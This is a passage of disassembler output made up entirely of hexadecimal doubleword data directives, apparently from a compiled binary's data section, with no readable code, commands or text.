0D6788600h, 8A732891h, 0C9E200D4h, 3CADB610h dd 0F000F18Fh, 0BF67D3B2h, 90822176h, 0CB370E48h, 0E3002E29h dd 1C572064h, 4179D00h, 0C6E55850h, 7FDD00FAh, 0B416256Ch dd 8FEA4E8Ah, 1300F979h, 0A7E417B2h, 1923E1Ah, 2489B923h dd 0E027A6D7h, 0A000775Fh, 0EEE4E067h, 0FA9D92Ah, 47DE1B7Eh dd 0C0341860h, 0ED000274h, 0CC721373h, 2C701A08h, 806CA4C9h dd 0E06FBA3Bh, 689001C8h, 0A706E900h, 0A6589124h, 0EA9E0041h dd 85DA95CBh, 0B6E29BCEh, 0F3007675h, 5389F44Ah, 0FF78F7h dd 9AFA3003h, 48402346h, 68451A00h, 7D659D74h, 0E163050Ch dd 80B469EFh, 5697CE23h dd 6A0FF801h, 8E25F6DAh, 2126ECh, 5FCB7CE7h, 0D0C7BC87h dd 0AF6C3700h, 0A4E35714h, 131B0343h, 85E23046h, 9BA93288h dd 0C4CB020Ch, 99283Ch, 0C66C405Ch, 50C8D129h, 0B78B1D00h dd 0CEFA1603h, 0B5D90064h, 423DE0Dh, 6B01CC5Fh, 0DCEB2FFFh dd 0A6C0B86Ch, 0C67A0168h, 8F57DFBBh, 0AAD860F8h, 76149C01h dd 72EB237Dh, 0F3D8E280h, 0BD91961Eh, 2A412401h, 0A367C5CFh dd 1C61B8F8h, 4F2D5880h, 0A7604218h, 0E7FAF6D0h, 2A75D7F4h dd 0FC938300h, 20619589h, 0A69D0084h, 0F54089Fh, 53F0991Dh dd 910093FAh, 0D8389C14h, 1C0DB032h, 5DE350DBh, 18EBC012h dd 0C4BFB576h, 0C6006B7Fh, 0A32ECBE4h, 26BD24BAh, 0F5F05Ch dd 0F6053E79h, 0F4EDFE8Ah, 930FFB7Fh, 0C01CBB9Ah, 9B6BA6DFh dd 9E3800F9h, 2729A260h, 7000D47Dh, 59917BDBh, 247F199h dd 1295E3DAh, 0ADE0B0ECh, 0F8FCB81Bh, 6A1C151Ah, 4283C011h dd 6C6D0046h, 5790A462h, 0E000C10Ah, 3B22566Eh, 272BA7h dd 54F342ADh, 72D7A9E2h, 4AAB3D07h, 809E319Eh, 0C168DD1h dd 0B1FA00EEh, 33F38A83h, 0AA0065DBh, 9B3287B0h, 846E12h dd 0F1F8E8FAh, 42487AC1h, 67B6DD00h, 0F9CDE7BAh, 24640007h dd 0D6831D7Eh, 2800955Bh, 0F711C803h, 4DF2AAh, 0A9EE9F47h dd 3614208Bh, 96C79301h, 0ECFAB845h, 1F7CCE8h, 3B780E11h dd 0F49A4008h, 71B05830h, 0DF2A302h, 0C0BA41D1h, 3EB30A69h dd 0AB80F8F1h, 65C5C92Bh, 0BF009D53h, 9077B10h, 74B782h dd 0D461556Fh, 47D6AB2h, 790F7600h, 7083056Dh, 9E708Ah dd 0F11F8422h, 0BDE2D72Ah, 179C7800h, 5DB043A0h, 0CE34007Ah dd 1228B94Eh, 48007DDEh, 0A74D51C6h, 9495C9h, 0F2682C61h dd 9FAEDD04h, 2289C58h, 4EF00E69h, 0C2546038h, 0F6BD0FF3h dd 0DBA05A8Fh, 9A13AD7h, 154B1300h, 0FF064AA3h, 760F0056h dd 0AA8AE484h, 2E0FA739h, 1305959Fh, 60086C00h, 902CEC72h dd 1C590081h, 91921237h, 1748D0FAh, 8C1C7124h, 897CFCC2h dd 80B773BAh, 0EFB56640h, 3E893B08h, 0BE8FB858h, 1F90E920h dd 8501D062h, 34A50A39h, 0BC60F5D9h, 2C743F2Eh, 9FF11C00h dd 0DFEBBF48h, 0E50BEEECh, 80407FC1h, 34B59900h, 3068C18Ch dd 6094080Ah, 8800CACAh, 3C2A27F5h, 517055h, 91EEC6D6h dd 60C76FD5h, 4D0AD309h, 0BF89558Ch, 0BCD1C700h, 190E1F39h dd 0C04AD542h, 43407C76h, 7D9BB816h, 27EC051Ah, 0C232D059h dd 0A2E0BB33h, 0B4A0FD81h, 0A40066C1h, 0AC2C6BB5h, 92B12Bh dd 17935D55h, 3B1CE153h, 66902200h, 0AFDCCC2Ah, 0D1C9001Fh dd 24DEB7B3h, 0EB00EC0Ah, 30FF63F3h, 0F7C135h, 0FD132D84h dd 704BC43Bh, 34D1E52Eh, 0DF42A300h, 4AD79Fh, 0A8AFE0B5h dd 9592C60Ch, 5231FF03h, 0A0C55159h, 0FC50B067h, 0C8440093h dd 0F13436E0h, 0BE002E61h, 5B4847D7h, 0E47EAEh, 0A62ABD33h dd 36C6CE9Bh, 7D397C00h, 0D35DBFFDh, 0B65F03C9h, 83D6CFCCh dd 0B9417698h, 0C1127200h, 9616924Eh, 5A4C00E2h, 40A9058Eh dd 9D008618h, 2AB76874h, 13B04B5h, 0B91A2813h, 0F48EA03Fh dd 6BEDC885h, 436AB00h, 0F79CD29h, 21D11BE2h, 3CDF2020h dd 0E40039ABh, 92A409CFh, 0F2BF85h, 56910CECh, 2FA03B5h dd 0FB6EDA07h, 0D4C0BCD7h, 0F5FDFFh, 0A0117A54h, 6CDDA96Fh dd 0FBAF1A00h, 0CC3DAA6Dh, 0F1EE4Ch, 67409B89h, 0A480D9D5h dd 25ECA100h, 0BA76FEF8h, 993EEB4h, 0AEEDC486h, 2933A780h dd 9700DBCEh, 7F06A4BCh, 1F606B5Eh, 0C4B3F96Fh, 0C0EC9934h dd 62BF1BCCh, 0BAD13600h, 1125DC31h, 0B3490015h, 60855D4h dd 0FB003ED5h, 99C26016h, 0F810CA1Eh, 90A10E7Bh, 0C341E66Dh dd 70B2C6D5h, 0F5000AACh, 47DB7ED9h, 672251h, 1908444Ch dd 1360FD1h, 6800D0E6h, 60F881FDh, 1C158B28h, 0C1E5DAD7h dd 7786D94Eh, 98BAC83Ch, 4F4A4100h, 700D05E7h, 0C99433h dd 0ED1434A7h, 0AB188C52h, 0AAA87720h, 6E0E03B4h, 9C7B6713h dd 0FCB95BE0h, 16CE9903h, 0C8791270h, 0DF550Bh, 787DAAD8h dd 0E1B7BB95h, 0A04E2A00h, 94852597h, 0BAAC00E2h, 72D47B1h dd 1B1DC4BEh, 0D62D5716h, 0C702F2Ch, 4E9BD800h, 623D26B4h dd 0CA680FA8h, 93CEACDFh, 70B9C1BCh, 7061723Fh, 290E316Eh dd 0C39DEE79h, 8059CA07h, 2B6B9Bh, 0AAB90E5h, 0A42CE38Bh dd 0EA0027FEh, 1551CD4Bh, 5305B2h, 17BF3ABBh, 2AE31868h dd 404B292Fh, 0BE0612h, 75420E53h, 474435C4h, 824A0F09h dd 30D880FBh, 64C732h, 459FD92Ch, 54BDDD06h, 0C822F900h dd 305BDF9Ch, 0FB6F00D7h, 2A4CABBAh, 0B2186410h, 0B13A6286h dd 54CD170Dh, 344C07D3h, 434262EDh, 0C18B34C0h, 25092A00h dd 183F67CCh, 0B1360164h, 8D0E036Ah, 0F5074AFh, 0FCEC2F1Ch dd 208F4201h, 0D0C07CD6h, 75D1393Ah, 0E0CD6580h, 21735A17h dd 0FED72B03h, 0A8A12014h, 34E285h, 78CE1575h, 3641BAA8h dd 0EA6F4603h, 0F9BBB38Bh, 57C8F1DDh, 2B7FE08h, 879FE921h dd 0B880ECEFh, 0EB0AF562h, 9311FA03h, 88238DD5h, 0B03954DBh dd 0B1A418FCh, 8974D081h, 0C5EABC00h, 10D2F0ADh, 8AD91F26h dd 92FD0056h, 0B9831DEh, 0A100F2FAh, 377DB023h, 41743Bh dd 9D081E81h, 4295FCBDh, 8210F601h, 0B8EA45D0h, 0B29A8340h dd 0A7C10088h, 0C45ECB6Ch, 9809BF09h, 80B853D1h, 0E4F0144Fh dd 1B9F092Ah, 6482CD5Fh, 0C2311Fh, 372B0C80h, 0B603578Bh dd 3844B8D8h, 7EB58049h, 0FEB0050h, 0EAD295BAh, 0BB00C511h dd 0DE9D3BDFh, 4E7178Dh, 0B9BCD970h, 2507FFE4h, 0DB007947h dd 1DA728Bh, 0B7CFFC78h, 87CE6EB9h, 0A1BCB32Eh, 99820300h dd 4C66029Ah, 2DB887AAh, 0FEDD540h, 8D40C894h, 12219C2h dd 0E27D3A05h, 0D4EEDB21h, 0D9009050h, 6C0B94C3h, 4545839h dd 0A657631Ch, 0B9E8FACBh, 803D13h, 229F34E4h, 0FF07C02Fh dd 535F47D6h, 5E61C470h, 9D800097h, 6FDAC8Eh, 28FA6598h dd 13A25800h, 6D73F20Eh, 0BE0300E1h, 84592912h, 4D0C10D9h dd 18D8524Ch, 0B0DC008Dh, 0A68C9704h, 0BA2C93E9h, 3B1F8484h dd 9C07FC0h, 0ABFFBBh, 1D599B40h, 74F944BAh, 2F69DF01h dd 0D664C6E7h, 1C166CF0h, 0DFBD7505h, 98DD80F8h, 6B2F7EA6h dd 41C30400h, 0B4B60B3Bh, 19A0029h, 0F8D74443h, 5C130761h dd 0D5048083h, 0EC03DC3h, 95CFA6h, 5DE9F660h, 8E972BA9h dd 63669400h, 0A908FDFh, 273902C4h, 3CBB0D4Fh, 88FA0840h dd 387E4900h, 8567B34Ah, 41BD0464h, 0C07F5AE5h, 621443D8h dd 68F38E0Fh, 0CC05FAAh, 20582E73h, 7E0200E2h, 34089FBFh dd 590065E8h, 12A9895Ch, 21BD45Ah, 0B9B4C464h, 7C60C546h dd 0CD00542Ch, 0A75C62EBh, 79D44h, 95EDACDCh, 96E9B0A3h dd 0B70165F4h, 0F6F4CD4Ah, 0D8209708h, 0BE310017h, 19D9C075h dd 130035C1h, 0F1B9332Bh, 4AC765h, 3C57C5DCh, 0FBA21AA6h dd 0AA46BC17h, 65912C00h, 235401h, 0F13FE24Eh, 30694375h dd 1AE85501h, 26C0ACEBh, 0B4E024h, 0CF9E3334h, 9F142F32h dd 6E3AC407h, 0D9C0162Eh, 0E11D94h, 17E386AEh, 0EAC684ECh dd 930381E0h, 597A40ADh, 833ED096h, 3D750076h, 4361E1E7h dd 7B58EFF1h, 0CBB12E4h, 1867C09h, 73137FE2h, 0B0D03071h dd 4D2700EEh, 0A5655FD6h, 8600F3C3h, 791D680Bh, 9277D7h dd 0D695C927h, 43534570h, 0E8018800h, 0FED952B0h, 0C3FC56h dd 2649824Bh, 637536E1h dd 0B0481907h, 9691BEBAh, 5DD4CD52h, 0DD735Fh, 76BBF620h dd 82149F3Bh, 8840C600h, 9B50F1C9h, 7721887h, 0D9FD3678h dd 9739D13Eh, 0EA07D504h, 56D04AE4h, 9D7F7Ah, 7B34C0A9h dd 4CD5086Ah, 7B579B3Ch, 97DFB900h, 939A8899h, 3DD20068h dd 3B60BCB6h, 53A0A95h, 0B0DF80C8h, 5867FA13h, 978D00E9h dd 0BBDC75C4h, 0CCB2B5E2h, 0A6295500h, 278F5414h, 1249892h dd 28C5DD6Ah, 0D8EA1D7Fh, 0D52624C3h, 64005B9Ah, 69F55FFEh dd 0FACB00E6h, 8C8F9D63h, 9200293Fh, 0D64651F4h, 39DDA89Ch dd 4780CA6Eh, 52727E37h, 79B89F4Ch, 1F36021Eh, 6D652680h dd 1F69BD48h, 0DB0447h, 8E3B80C1h, 0E8007617h, 74AB6488h dd 3001C5D0h, 4074B709h, 1800447Ch, 0E847B62Ch, 7953BDh dd 7E7F3842h, 3234D803h, 7800617Fh, 0FA5E6572h, 79ECD6h dd 0D0886FCBh, 7BFB901Ah, 29827F07h, 0EDA032A8h, 531DC94h dd 1A7CC7C3h, 2D3E80ADh, 0ABB81F43h, 64B87A60h, 5CC98416h dd 78800Eh, 0F7B5358Eh, 78E7606Ch, 7AB2F400h, 1A40690Ch dd 646E0015h, 0F1133CC1h, 0D69821BFh, 12DDF02h, 0C0731735h dd 2AA80Eh, 3A684B5Dh, 6EB05904h, 80762379h, 2C33DA00h dd 0BE7631FBh, 0D09913E3h, 29FA00BBh, 843475CAh, 0C14C8D00h dd 0C5861149h, 2DF80078h, 0AA05A5B1h, 0D81680BFh, 0E6006D36h dd 7EB851F2h, 6A59036Bh, 5F4E2764h, 0E44BD1B0h, 8062B939h dd 0BE8B1621h, 36F0FABh, 37381322h, 67A0607Ah, 6900AF79h dd 98C04162h, 3807836h, 0A4AA7770h, 60E7551Ch, 0BA07B1Bh dd 2C31C10Eh, 0F127A0D7h, 691E26h, 8328F494h, 34DD58B3h dd 0EB5B1C28h, 0A7969900h, 0F4BB2D36h, 77A9007Bh, 20A1DC97h dd 0CB00633Ch, 0CAE2B247h, 0B4F5AFCh, 7C3935Ch, 0E859E400h dd 950106D2h, 854DB59Ch, 0C0D07089h, 0A7BE00C9h, 0C23DB624h dd 142CB802h, 0A400436Bh, 0C52ED563h, 0BD08007Dh, 77FB3B30h dd 287106DAh, 0EA1FD20Ch, 79029D3h, 8304E679h, 106A603Ch dd 0EF28C258h, 1F3CB32Dh, 0F6EBF34h, 0A07820B6h, 6C4A071h dd 580D0360h, 0B9A5F990h, 0B31B0CFh, 2D0933D8h, 0D1FFF8h dd 0BFBA526Ch, 0FA7F1F3Fh, 0DA63008Dh, 3ACF873Bh, 0BB9A6A09h dd 59640079h, 0BD9F7h, 0BC30D792h, 49C8E624h, 7A26EA00h dd 91A6CF88h, 90EC021Ch, 5E1A3EBDh, 6F136040h, 33D06500h dd 0E2664DA5h, 8A8800AFh, 0A8C68602h, 6C00DBEEh, 682791C7h dd 0B06FDF82h, 0DAC1007Dh, 93FE8DE7h, 0B571BF17h, 143ACA0Fh dd 0E99B805Ch, 3C152ADh, 13AFBCA9h, 9E80FA2Ch, 8703ED89h dd 37C031F3h, 409DFA39h, 7E510778h, 758F00D5h, 0CB68DE71h dd 3E7AAA70h, 93C15902h, 0D678DD20h, 1A61F5Ah, 4307EC94h dd 0FFD261E5h, 0BD603CD2h, 7B00EE59h, 0F572AA01h, 0FB4FFDh dd 78D5A476h, 839D6B88h, 0CB45A900h, 72EC2343h, 1A2B00B5h dd 80A866F2h, 0CF736E97h, 2C2CA779h, 8A0FC148h, 519D006Ah dd 9AEA7Fh, 7BA0423Ah, 61847CB3h, 0E0BA8A3Ah, 0BEB6EE62h dd 6CD00340h, 0DA9DF34Dh, 92CF3FC8h, 0FDB2F900h, 5178BF3Eh dd 508E20Fh, 52F4B377h, 3B100A5h, 4B4E868Fh, 839A6500h dd 8B1B53E7h, 75080770h, 0C0F15C0Ch, 165294F0h, 990181E6h dd 0E65683A1h, 5885BC2Ah, 198C01h, 66C043ACh, 607A1AEh dd 0DA28421Eh, 7751A6F0h, 0BB7D0064h, 637CFDEDh, 0AB00735Eh dd 4E0CC94Dh, 1703BC41h, 6A91AFh, 0FE23AD50h, 7F07F949h dd 3E8EA2A4h, 80672043h, 60ADB85Fh, 7ED4A904h, 35169AC6h dd 0EA000A60h, 0FF925606h, 85ED0174h, 0A482532Dh, 19C03BE3h dd 0EE398AF3h, 38C60175h, 686E41FDh, 8830C0B7h, 21F3500h dd 6C2AAC05h, 5218C057h, 60461781h, 507097h, 4DA4BD71h dd 0AD3A943Dh, 359C4C2Ch, 0BA247C00h, 7CAB8E7h, 0DE4806C9h dd 1D8DC211h, 0E38CA660h, 81DD2E00h, 24F396F4h, 0D29E00A6h dd 87BDFDC6h, 4028472Fh, 313B998Fh, 1AB78056h, 0E0E36478h dd 0D2F948BDh, 0EDC5E600h, 3ACE451Bh, 3683EA00h, 9B776469h dd 231A1258h, 51380054h, 0AB41D1BAh, 8486CE00h, 8ED9473h dd 0C6A4014Eh, 742BB756h, 0FBD7F809h, 54A69100h, 1855E571h dd 5FD0022h, 1C23DE0Bh, 497A5FA1h, 241A860Eh, 58268078h dd 0E7CD3Fh, 68FC1F33h, 6C2F1583h, 9373A400h, 0F73C3DB5h dd 0B33500E8h, 0D5FDF486h, 9E000D2Ch, 4FC4A80Eh, 1176475h dd 0E3A1317Bh, 6047B50Fh, 83C6B61h, 5A9680B1h, 0B91263EEh dd 0BE81004Ch, 0BF974401h, 580153EBh, 0AB9EDBA8h, 0F9FCE54Eh dd 0B8D4E826h, 5952006Fh, 48E20ED5h, 0D800B514h, 0DA64563Fh dd 4B5745h, 87D0E5D7h, 533918E3h, 30C7B600h, 1C8293F8h dd 67B4384Bh, 7ED91380h, 0F795C5ECh, 26E02B01h, 2235D6F6h dd 299CDCh, 846D27A5h, 5BD0DE30h, 9501D300h, 0D69832Dh dd 0F0FA7F60h, 0FC470F8Ch, 0BEF26E33h, 20CDCF09h, 38D90DCCh dd 62650017h, 23CE491Eh, 0B700B393h, 0AD367431h, 81C72Ch dd 3DF5E92Eh, 0FCF8881Dh, 0D000EBE8h, 0FDF0EC3Eh, 0FC9B53AEh dd 305B0159h, 22E6F1D6h, 8007E8F9h, 38E4A13Dh, 13631D27h dd 91DBD1C0h, 2815AAh, 3D640748h, 2102616Ch, 0D69C5D1Dh dd 0D0FE2780h, 713B315h, 0C6FB773Eh, 9ED9F095h, 0E5724BA8h dd 5708FE00h, 0FFC7641Ch, 0A2560A76h, 38C0DBA0h, 0C5EBE883h dd 78E85A44h, 3C0088D2h, 0F77C9BBFh, 38B9C00Dh, 6A006B80h dd 8D1BEFD9h, 9B3B4B81h, 0AE1C0701h, 7A10B037h, 48460807h dd 0CC136857h, 804C21B1h, 0F1A7F80Dh, 3B906700h, 7B94FB89h dd 6B70097h, 0BAC61577h, 0A3008E3Dh, 0EE426476h, 0EB65AF3h dd 127DF6ECh, 0D920C0EFh, 6D519827h, 0F5A86009h, 2213001Dh dd 2208BA7h, 28E7A437h, 0E0D51BDCh, 0FE55A281h, 2D6300DBh dd 0EE364E40h, 2503B237h, 788AA8D9h, 74F6D068h, 8FDF00F0h dd 8301FAC0h, 0C6006F93h, 28A91B03h, 2C6BE20Fh, 6C407AF0h dd 7100DE52h, 3108BF96h, 0AD1904h, 80C53525h, 57B52ECCh dd 0A5CD0A00h, 0B6867E92h, 950900B8h, 61C43AC3h, 0C700EEDDh dd 71186A64h, 36F7Ah, 213E23CBh, 292E0E79h, 5A467503h dd 8AB74898h, 0DDAC8110h, 0B8F4C1B0h, 885300FAh, 52C7AF5Eh dd 2A073D3Bh, 6E8EA168h, 0DF6C7B10h, 0AF5900B3h, 6489B551h dd 4300A496h, 3A61E6D4h, 1637494Eh, 735D4Bh, 0F3D0024Ch dd 1C84D136h, 3E0A8BE8h, 6016FA73h, 513FFC97h, 12004DB7h dd 99A19118h, 0EC9ACDDh, 82FBFD7Ah, 146B37A0h, 65001EB8h dd 0B1355B0Dh, 5F1FBCh, 9CA3C684h, 6B9D34ADh, 5B5AA803h dd 50C7FF98h, 4140CEh, 2B44C6F6h, 324224CAh, 757FC403h dd 0B0E30533h, 6CB0A8h, 299BEE2Ch, 0EAB81C45h, 0C1E83200h dd 8BF9E453h, 5A4C39F8h, 27EC0600h, 0D95BD6DFh, 7AC4D101h dd 0CF313B9Fh, 382FC4h, 22334F66h, 1BBD9D9Ch, 6E82F402h dd 4172780Ch, 60EEFE98h, 1235142h, 21A076E5h, 0F140D3EFh dd 0D5A020D2h, 1D45A800h, 0E4A56D3Dh, 1A98EDh, 0DCFF3E53h dd 3FB75B78h, 61510300h, 0CEB97A2Eh, 0A3DA0066h, 345DC742h dd 110BA59Ch, 85060C41h, 0F4C07612h, 7FC08D2h, 0ECF47FB0h dd 8009A5BBh, 9C3EFFE4h, 802AA312h, 0F5274000h, 0ABD68Dh dd 0F49F1563h, 0D3DE605Eh, 0CC6BE800h, 760ECEBDh, 3ACB0011h dd 30A6FD44h, 8A00E6EDh, 8C03AFD7h, 3CE5F88h, 0B1A9231Dh dd 3BA0C508h, 0F31CD76Ch dword_52B048 dd 60C020FBh, 82CD679Fh, 7B9E58D0h, 6388DF00h, 0B7422179h dd 0E6EC7CB0h, 0C1C4F700h, 0AB40D43Dh, 0EE4D07A6h, 10C7E51Bh dd 0D6601C2Eh, 1D341400h, 214E8838h, 0F10D0AF2h, 0B85515h dd 473E56DBh, 850B60BDh, 78E3DFF4h, 37C23BD9h, 4327400Fh dd 6812EC60h, 5700EBF3h, 24601A4Ch, 83BA15h, 0E4887131h dd 29774816h, 5BB09DE0h, 890DF607h, 92B08A4Bh, 718D6473h dd 851700BFh, 1D8FACA0h, 8173D2FAh, 2170571Fh, 0F29AEC00h dd 48382042h, 0A00199CEh, 19777291h, 0E7C2EDA3h, 5D93C7A8h dd 34585B26h, 4003FF8Eh, 75ED9C41h, 125E27Fh, 98E96474h dd 0DDB12CFBh, 0F28BD469h, 0E653BE03h, 0F2A2CB3Ch, 6B14E03Fh dd 99C00060h, 87521D8Ah, 8B167C3Dh, 500E5AF6h, 582ECCCDh dd 30051CC4h, 47C507A6h, 0F0383760h, 0EBB4B1D9h, 48114200h dd 0D2BA8781h, 0F48D0052h, 6A93FA79h, 0D80102E9h, 172AEC71h dd 0B1CBE559h, 98E0090Ah, 0D5C81FB7h, 2F2840C1h, 71BCF2CBh dd 14AC3E00h, 0B9093433h, 83F4E4h, 9B3092C8h, 4522C22h dd 2E706A00h, 39B0F8CDh, 1FCE0354h, 715034E0h, 0A6223B98h dd 487C8AEEh, 674A4F17h, 7F5B2C00h, 38622ECBh, 0A800CFF7h dd 2833D504h, 6800DD25h, 0AF9669Ch, 174FEBE1h, 7BAE7DFh dd 21E687h, 601B0222h, 2D0AAE01h, 34894994h, 647C0EBh dd 1DEE01h, 0C886F456h, 1EBCE2C6h, 0ABD14200h, 0D512D0ECh dd 0FF550089h, 2AE5B9D7h, 0E10118B5h, 33FD7869h, 837E17ADh dd 0BAD99068h, 2C9DDC6Eh, 9AE77E0Eh, 103D072Bh, 0CC689480h dd 1CA70035h, 447E5EADh, 0E3770EF7h, 0D1124601h, 662694EDh dd 3B052DC8h, 16007686h, 0E8989B6Bh, 151DC648h, 5E401EC3h dd 0DE148563h, 11E40050h, 314CBA21h, 19001523h, 29BB8B4Fh dd 4BA77A57h, 64040001h, 0F8798878h, 2E004472h, 891980C0h dd 4895E5B0h, 785199h, 6982AC85h, 498666DFh, 0CC34B900h dd 132F99ECh, 38730226h, 5172104h, 51EBB460h, 0C4B7532Ch dd 37E59102h, 0D5FFC0C6h, 0B9AD007Ch, 84A94F6Ch, 38B88216h dd 93068304h, 0B8C0275Ch, 0E5E15BBh, 2092594Fh, 8FE12B47h dd 0A0C21B80h, 8930CF32h, 9C3A105Fh, 70050081h, 4EEEBF4Dh dd 0AAF27EE0h, 0F46A482Fh, 0BED1026Eh, 0FA60D4ADh, 1C38B1D8h dd 1F9C0C9Ah, 7E501Dh, 0FEAB6D72h, 0CCD983DBh, 9FF07F01h dd 9B8A6ED2h, 193D3A30h, 0A1844601h, 7FDE621h, 4367E1AEh dd 0FD0B9C30h, 1EA709E4h, 0B8809BC8h, 55ED4490h, 0D272E0C0h dd 72A9196Fh, 7A9C03DAh, 0C8E949B6h, 36643C88h, 7611E300h dd 0A06B741Eh, 0B4341EA4h, 61D100AEh, 604813B5h, 0E88F2F00h dd 0CB64CAFDh, 0BF120318h, 0B145438h, 32D1CEB8h, 0AB227205h dd 0A0003B04h, 0EE209BB2h, 364900B4h, 2478BD7Ah, 37E40755h dd 0AD0A461Dh, 89649B03h, 0DDCC091h, 6AEE0070h, 4B44AF54h dd 6C074931h, 1DF7E39Bh, 80B47C60h, 6B920090h, 88B6571Ah dd 0BC050AE2h, 76FC2EDBh, 0A83DE85Dh, 8C00DBDEh, 39FFC182h dd 92FEC08Ah, 5A96003Ch, 2F528DDCh, 6C00A641h, 0DE710666h dd 133EC19h, 0BC6ACFCDh, 0F49E5F56h, 0ACA8CED8h, 0FC0075F9h dd 0E027FD3Eh, 0C9F9079h, 9D147892h, 31038E20h, 0C26667FFh dd 90C680h, 0CEC626D4h, 49FBEF58h, 0D718BF62h, 57DC6195h dd 0EC91CCh, 9ED3FAE4h, 0FD63FE0Bh, 0FF303C00h, 0DE73EA06h dd 0F2DB0C5Dh, 56C01FCFh, 0D3DCF800h, 7BEF3275h, 466700EEh dd 0D79FCEC2h, 0DB0B163Ch, 879427F5h, 75D27357h, 0CD94A7DEh dd 0E16780B1h, 7F584FE0h, 0B67301C3h, 2301F67Fh, 2612C4CAh dd 17775677h, 0D4C9D800h, 0CD282BD2h, 53960098h, 0A2C0C19h dd 5900BD16h, 10315FD5h, 204DDAh, 0AE3A64A9h, 0C1A0E8EDh dd 7BCA6B00h, 7C0EE287h, 7383AF7h, 6F90FB00h, 5C883216h dd 0B10E9A7Ah, 4014CBE4h, 6253A71h, 764300B4h, 0E22D2C52h dd 0B9FE94E7h, 0AAA2BE1Eh, 0A540681Eh, 6799BB8Dh, 10920772h dd 0D0AB18D4h, 0C836D8B2h, 0CE4C3800h, 3078E751h, 0A8930073h dd 5664857Ah, 970040B2h, 57017F58h, 98A32F9Ah, 770A002Eh dd 52705E72h, 4B981590h, 0D6AEED07h, 0FBC06C55h, 1EBDC6FCh dd 406FD8ADh, 0D7F6E53h, 1607A640h, 663AD378h, 80E9FCB0h dd 19AD78B6h, 10F35B26h, 182DC00Dh, 8BDC7800h, 59D6C66Ch dd 0F4F20074h, 7D2C6863h, 800F8F9h, 525B31D9h, 158F072h dd 144D19C5h, 0E88D564Eh, 0AE7ED284h, 5C46C3Ah, 55D17178h dd 1D00DA1Eh, 98A1427Eh, 0E3650033h, 316C35AAh, 6F2C4AB1h dd 0AD006B97h, 0F8E5B6B8h, 7C8000BEh, 6C377F6Ah, 0FC744A42h dd 101C0CF8h, 4880AB7Dh, 0E9013616h, 0A7150054h, 30616EDFh dd 0C6016FC9h, 0FD52A225h, 4FFDD602h, 0EA66E560h, 539F00D4h dd 1D0F58F1h, 3200A16Ch, 0DAE23327h, 0F301AA3Eh, 0B9FBE0FDh dd 9FD46C2Dh, 35D4196Fh, 0E0D65830h, 2600B432h, 85BD0ACFh dd 7193ED0h, 4DC92FE5h, 84348187h, 122EC87Fh, 5D2D5A7Dh dd 302DF66Ch, 14440240h, 0FF013BF4h, 2152425Fh, 5120F6DFh dd 6FA0CF7Ch, 0CF9D9800h, 8600DE4Ah, 940ADA33h, 2829F8C5h dd 4844731Fh, 0CD00C76Ah, 64688731h, 0B130F96Fh, 157E207Ah dd 77760065h, 0C45E7FBFh, 540648B7h, 9AB246A1h, 33C60168h dd 0E68AABDBh, 0DA06F09Eh, 0E2EE570Eh, 824300FDh, 2928F31h dd 6D10E997h, 0B0A3F2F8h, 0D100EADEh, 18E15F7Ch, 607BCB82h dd 0DC8D58AAh, 1901E43Dh, 0E5F4E0E8h, 8AE82D1Ch, 44DA031Fh dd 7251F904h, 0C9A84003h, 8017EEEAh, 0D39856h, 817A8ABBh dd 290B0D99h, 720088F4h, 964C2EB1h, 0E3501Bh, 3DAB3C09h dd 6E59AAB6h, 89DA4F00h, 569A39EEh, 26CB00EDh, 412961B5h dd 9F06D5C2h, 361863A7h, 0AD690011h, 7E54B50Dh, 2B1E114Eh dd 0A80E4BB4h, 60F5E074h, 369E505h, 8BBB0C6Ah, 7DF0F36Bh dd 0E47A2E81h, 2800D0EAh, 16FF2CC6h, 43E1F8h, 0F2771002h dd 0F3634DB8h, 0B22FA60Fh, 62230195h, 0D820F96Bh, 4F1E0083h dd 0E90F8F11h, 400192EDh, 0F2853593h, 84CC56E8h, 7790C017h dd 0C367D942h, 0F326AA90h, 99120B60h, 0C6B3B03h, 2B24B03Fh dd 0FD170087h, 69D6D37Ah, 0CC389737h, 9E71003Eh, 0D5C3F2F6h dd 8330FD8h, 0C60F5514h, 0C20C7540h, 0A7009AD6h, 9972B069h dd 0C06A0D45h, 7A781C59h, 2E43FD10h, 21225C11h, 1B10B8DAh dd 6E1E1062h, 5C5B7384h, 8C70F848h, 0FDE00E20h, 0D5C01218h dd 893AE859h, 5940B0FEh, 8156CF98h, 0C310C66Ah, 0D5E408Ah dd 0E8886B7Dh, 0FDDDA0D5h, 2CB05066h, 3EB82038h, 4074243h dd 0A00F6BAAh, 3EF1E67Dh, 32111D01h, 64E9662Ch, 0F8E01EDCh dd 44060C37h, 0EF103C67h, 68D67D00h, 0EA5B6C26h, 254C010Fh dd 5E249250h, 0DC80E36Eh, 61000EB2h, 0ECBD1BF8h, 3DFD1A65h dd 7A8039C8h, 0EB731E3Fh, 31000D07h, 0E978B8BDh, 0A0493Eh dd 41FC5580h, 8191222h, 0BE4A7C00h, 0ACCAD865h, 0C25803DEh dd 0E0E99507h, 53AF13E8h, 2BB5E400h, 7499379Fh, 0A83E60B2h dd 0BD97B869h, 0ED7FA800h, 334276Ah, 4BD10C65h, 0EEF0EBD0h dd 1632700Eh, 0ADC44082h, 0D1C795h, 5B4ECF6Ch, 6859F7FAh dd 0E760E118h, 0C0E8BF30h, 3011E08h, 55009A0Dh, 642AD154h dd 60F2880h, 0FBCBF1D5h, 8B7B29EAh, 94AB900h, 4CA91A64h dd 0DFBD03C3h, 0D132507Dh, 0CDA13B88h, 3CB09700h, 9CE903F1h dd 0F8F026h, 6CEF3FCEh dd 0D458562Ch, 8107E073h, 7B441C93h, 0D7C334D0h, 0E9E0BAh dd 0E4898B75h, 92360704h, 770058ACh, 70B6B1B3h, 1E0DE61Bh dd 7B6D809Fh, 63871C02h, 60C051DEh, 0B001328Fh, 4F8D83F2h dd 418FE105h, 796E075h, 7087CE96h, 46BDD2A0h, 4BA74500h dd 44684F1Dh, 0F848094Ch, 0C80BCFAh, 0EFFE05CAh, 40ABA0Fh dd 0C21D801Bh, 7415A8E9h, 0CBB900A5h, 0CC3B1C0Bh, 7C07AF3Ah dd 8152D7EDh, 0BB563E40h, 7A72CBh, 2367FC65h, 6BDFE679h dd 0AE8A300h, 0DDF83AE3h, 1D1907E9h, 81B570h, 503992D4h dd 8C00D274h, 79E9ECF5h, 39E0F94Dh, 6ABD8B01h, 0FB2A4909h dd 6BEAE880h, 48CF1D61h, 2C08AA5Bh, 1376A740h, 0FFB11059h dd 5293A07Eh, 671D0CFBh, 3DD1DE25h, 58708673h, 0D71C8807h dd 